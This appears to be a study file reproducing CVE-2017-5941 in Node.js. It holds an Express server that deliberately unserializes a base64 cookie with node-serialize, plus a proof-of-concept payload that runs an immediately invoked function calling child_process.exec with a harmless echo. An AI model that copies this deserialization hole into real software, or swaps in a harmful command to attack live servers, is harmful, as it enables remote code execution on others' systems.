<reponame>Ayusummer/DailyNotesCode<filename>JavaScript/security/CVE-2017-5941_rce_Nodejs/index.js<gh_stars>0var express = require("express");
var cookieParser = require("cookie-parser");
var escape = require("escape-html");
var serialize = require("node-serialize");
var app = express();
app.use(cookieParser());

app.get("/", function (req, res) {
    if (req.cookies.profile) {
        var str = new Buffer(req.cookies.profile, "base64").toString();
        var obj = serialize.unserialize(str);
        if (obj.username) {
            res.send("Hello " + escape(obj.username));
        }
    } else {
        res.cookie(
            "profile",
            "vqbpgud2ghvjgm1n5hdgjnn5818fzsf2",
            {
                maxAge: 900000,
                httpOnly: true,
            }
        );
    }
    res.send("Hello World");
});
app.listen(3000);

// // // // // /// // /// // /// /// // /// // /// // /// /// /// // /// // /// // /// //
var y = {
    rce: function () {
        require("child_process").exec("echo 233", function (error, stdout, stderr) {
            console.log(stdout);
        });
    }()
};
var serialize = require("node-serialize");
console.log("Serialized: \n" + serialize.serialize(y));

// // // // // /// // /// // /// /// // /// // /// // /// /// /// // /// // /// // /// //


var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'echo 233\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);



